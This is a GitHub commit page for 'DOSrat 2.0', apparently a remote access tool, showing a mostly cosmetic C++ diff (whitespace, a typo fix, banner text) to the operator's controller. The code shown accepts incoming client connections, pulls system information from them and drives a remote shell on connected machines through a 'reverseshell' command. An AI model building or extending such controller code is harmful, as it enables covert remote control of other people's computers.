Skip to content

Commit

Permalink
Pulizia codice e piccole correzioni
Browse files Browse the repository at this point in the history
  • Loading branch information
Criper98 committed Feb 28, 2023
1 parent f2feb04 commit e7be503
Show file tree
Hide file tree
Showing 2 changed files with 76 additions and 79 deletions.
115 changes: 57 additions & 58 deletions DOSrat 2.0/DOSrat 2.0.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -41,10 +41,10 @@ int main()
VectString Percorsi;

bool CicloMenu = true;
bool ServerOn = false;
bool ServerOn = false;
int OldPort = 0;

Clu->AggiornaTitolo(Clu->Loading);
Clu->AggiornaTitolo(Clu->Loading);

cli.LoadingPercentage = 0;
cli.LoadingText = "Caricamento Menu Principale...";
Expand Down Expand Up @@ -121,42 +121,41 @@ int main()
if (Server.StartServer() != 0)
{
cli.StopBar();
ServerOn = false;
ServerOn = false;

tc.SetColor(tc.Red);
cout << "Errore nell'avvio del server." << endl;
cout << "Molto probabilmente e' dovuto alla porta." << endl;
tc.SetColor(tc.Default);
cout << "Premi un tasto per continuare offline..." << endl;
cout << "Errore nell'avvio del server.\nMolto probabilmente e' dovuto alla porta." << endl;
tc.SetColor(tc.Default);
cout << "Premi un tasto per continuare offline..." << endl;
Server.Stop();
_getch();
}
else
{
ServerOn = true;
else
{
ServerOn = true;

cli.LoadingPercentage = 90;
cli.LoadingText = "Avvio Servizi...";
cli.LoadingPercentage = 90;
cli.LoadingText = "Avvio Servizi...";

thread Aconn(AccettaConnessioni, ref(Server));
thread Vconn(VerificaConnessioni);
Aconn.detach();
Vconn.detach();
thread Aconn(AccettaConnessioni, ref(Server));
thread Vconn(VerificaConnessioni);
Aconn.detach();
Vconn.detach();

cli.LoadingPercentage = 100;
cli.LoadingText = "Completato";
cli.StopBar();
}
cli.LoadingPercentage = 100;
cli.LoadingText = "Completato";
cli.StopBar();
}

while (CicloMenu)
{
if (ServerOn)
Clu->AggiornaTitolo(Clu->Menu);
else
Clu->AggiornaTitolo(Clu->Off);
if (ServerOn)
Clu->AggiornaTitolo(Clu->Menu);
else
Clu->AggiornaTitolo(Clu->Off);

system("cls");
StampaTitolo(1);
system("cls");
StampaTitolo(1);
cli.SubTitle("Menu Principale", 60, tc.Green);

switch (cli.MenuSingleSelQuadre(MenuPrincipale))
Expand All @@ -178,15 +177,15 @@ int main()

// Connetti Sessione
case 1:
if (!ServerOn)
{
tc.SetColor(tc.Red);
cout << "Funzionalita' non accessibile: sei offline.\nProva a cambiare la porta nelle impostazioni." << endl;
tc.SetColor(tc.Default);
if (!ServerOn)
{
tc.SetColor(tc.Red);
cout << "Funzionalita' non accessibile: sei offline.\nProva a cambiare la porta nelle impostazioni." << endl;
tc.SetColor(tc.Default);

Sleep(3000);
break;
}
Sleep(3000);
break;
}

system("cls");
StampaTitolo(1);
Expand Down Expand Up @@ -390,15 +389,15 @@ int main()

// Comandi Comuni
case 3:
if (!ServerOn)
{
tc.SetColor(tc.Red);
cout << "Funzionalita' non accessibile: sei offline.\nProva a cambiare la porta nelle impostazioni." << endl;
tc.SetColor(tc.Default);
if (!ServerOn)
{
tc.SetColor(tc.Red);
cout << "Funzionalita' non accessibile: sei offline.\nProva a cambiare la porta nelle impostazioni." << endl;
tc.SetColor(tc.Default);

Sleep(3000);
break;
}
Sleep(3000);
break;
}

// TODO
break;
Expand Down Expand Up @@ -432,29 +431,29 @@ int main()
if (OldPort != SettaggiS.Porta)
{
cout << "Riavvio del Server in corso";
cli.DotsBar();
ServerOn = RestartServer(Server, SettaggiS.Porta);
cli.StopBar(); cout << endl;
cli.DotsBar();

ServerOn = RestartServer(Server, SettaggiS.Porta);
cli.StopBar(); cout << endl;

if (ServerOn)
{
Clu->AggiornaTitolo(Clu->Menu);
tc.SetColor(tc.Lime);
cout << "Riavvio completato." << endl;
tc.SetColor(tc.Default);
Sleep(1500);
Clu->AggiornaTitolo(Clu->Menu);

tc.SetColor(tc.Lime);
cout << "Riavvio completato." << endl;
tc.SetColor(tc.Default);
Sleep(1500);
}
else
{
Clu->AggiornaTitolo(Clu->Off);
else
{
Clu->AggiornaTitolo(Clu->Off);

tc.SetColor(tc.Red);
cout << "Riavvio del server fallito..." << endl;
tc.SetColor(tc.Default);
Sleep(2000);
}
}
}

break;
Expand All @@ -476,7 +475,7 @@ int main()

// Dimensione della finestra
case 5:
cout << "\nRidimensiona le finestra a piacimento e premi invio per salvare." << endl;
cout << "\nRidimensiona la finestra a piacimento e premi invio per salvare." << endl;
_getch();

SettaggiS.DimensioniFinestra.X = wu.GetWindowSize().X;
Expand Down
40 changes: 19 additions & 21 deletions DOSrat 2.0/Funzioni.h
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,8 @@ void StampaTitolo(short Returns = 0)
cout << " | | | | | | \\____ \\ / ___|____ (_ _) / ____/ | |/ /| |" << endl;
cout << " | |__/ /| |___| |____) ) | / ___ | | |_ | (_____ | /_| |" << endl;
cout << " |_____/ \\_____(______/|_| \\_____| \\__) |_______|_)_____/ " << endl << endl;
cout << "| Versione [" << Version << "]" << endl;
cout << "| DOSrat 2.0 by Criper98" << endl;
cout << "| v" << Version << endl;
cout << "| Created by Criper98" << endl;

for (int i = 0; i < Returns; i++)
cout << endl;
Expand All @@ -25,20 +25,18 @@ void StampaPrefix(string NomeClient = "")
TextColor tc;

tc.SetColor(tc.Yellow);

cout << "DOSrat 2.0";
tc.SetColor(tc.Default);

if (NomeClient != "")
{
tc.SetColor(tc.Default);
cout << " [";
tc.SetColor(tc.Purple);
cout << NomeClient;
tc.SetColor(tc.Default);
cout << "]";
}

tc.SetColor(tc.Default);
cout << "> ";
}

Expand Down Expand Up @@ -385,7 +383,7 @@ bool GetInfo(SOCKET Sock, int ID)
Body.push_back("Data Installazione");
Body.push_back(j["INSTDATE"]);

cout << "Informazioni ricevute:" << endl;
cout << endl;
cli.Table(Header, Body);
cout << endl;

Expand Down Expand Up @@ -529,24 +527,24 @@ bool ReverseShell(SOCKET Sock)
CLInterface cli;
TextColor tc;

string Res = "";
string Cmd = "";
string Path = "";
string Res = "";
string Cmd = "";
string Path = "";

cout << endl;

if (COMUNICAZIONI::ReverseShell(Sock, "reverseshell") == "OK")
{
while (true)
{
Path = COMUNICAZIONI::ReverseShell(Sock, "Get cd");
if (Path == "")
return false;
cout << Path << ">";
getline(cin, Cmd);
while (true)
{
Path = COMUNICAZIONI::ReverseShell(Sock, "Get cd");

if (Path == "")
return false;

cout << Path << ">";
getline(cin, Cmd);

if (ToLowerCase(Cmd).substr(0, 3) == "ftp")
cout << "Non supportato.\n" << endl;
else if (ToLowerCase(Cmd).substr(0, 4) == "ping" && (ToLowerCase(Cmd).find("-t") != string::npos || ToLowerCase(Cmd).find("/t") != string::npos))
Expand All @@ -571,7 +569,7 @@ bool ReverseShell(SOCKET Sock)

cout << Res;
}
}
}
}

return false;
Expand Down Expand Up @@ -698,7 +696,7 @@ void Sessione(int ID, SOCKET Sock)
else
Controllo = false;
}
else if (cmd == "reverseshell" || cmd == "revshell")
else if (cmd == "reverseshell" || cmd == "revshell")
{
if (!ReverseShell(Sock))
Controllo = CheckConnection(Sock, ID);
Expand Down

0 comments on commit e7be503

Please sign in to comment.